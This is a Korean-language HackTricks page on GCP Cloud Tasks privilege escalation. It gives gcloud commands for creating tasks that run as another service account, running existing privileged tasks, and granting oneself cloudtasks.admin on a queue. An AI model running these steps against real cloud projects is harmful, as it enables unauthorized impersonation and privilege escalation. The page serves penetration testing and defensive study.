GCP - Cloud Tasks Privesc
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Cloud Tasks
cloudtasks.tasks.create
, iam.serviceAccounts.actAs
이 권한을 가진 공격자는 다른 서비스 계정을 가장할 수 있습니다. 이는 지정된 서비스 계정의 신원으로 실행되는 작업을 생성함으로써 가능합니다. 이를 통해 IAM으로 보호된 Cloud Run 또는 Cloud Functions 서비스에 인증된 HTTP 요청을 보낼 수 있습니다.
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
cloudtasks.tasks.run
, cloudtasks.tasks.list
이 권한을 가진 공격자는 기존의 예약된 작업을 실행할 수 있으며, 작업과 연결된 서비스 계정에 대한 권한이 필요하지 않습니다. 이는 이전에 더 높은 권한을 가진 서비스 계정으로 생성된 작업을 실행할 수 있게 해줍니다.
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
이 명령을 실행하는 주체는 작업의 서비스 계정에 대한 iam.serviceAccounts.actAs
권한이 필요하지 않습니다. 그러나 이는 기존 작업을 실행할 수만 있으며, 작업을 생성하거나 수정할 수 있는 권한은 부여하지 않습니다.
cloudtasks.queues.setIamPolicy
이 권한을 가진 공격자는 특정 큐에서 자신이나 다른 주체에게 Cloud Tasks 역할을 부여할 수 있습니다, 이는 roles/cloudtasks.admin
로 상승할 수 있으며, 여기에는 작업을 생성하고 실행할 수 있는 능력이 포함됩니다.
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
이것은 공격자가 자신이 제어하는 서비스 계정에 대해 큐에 대한 전체 Cloud Tasks 관리자 권한을 부여할 수 있게 합니다.
References
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.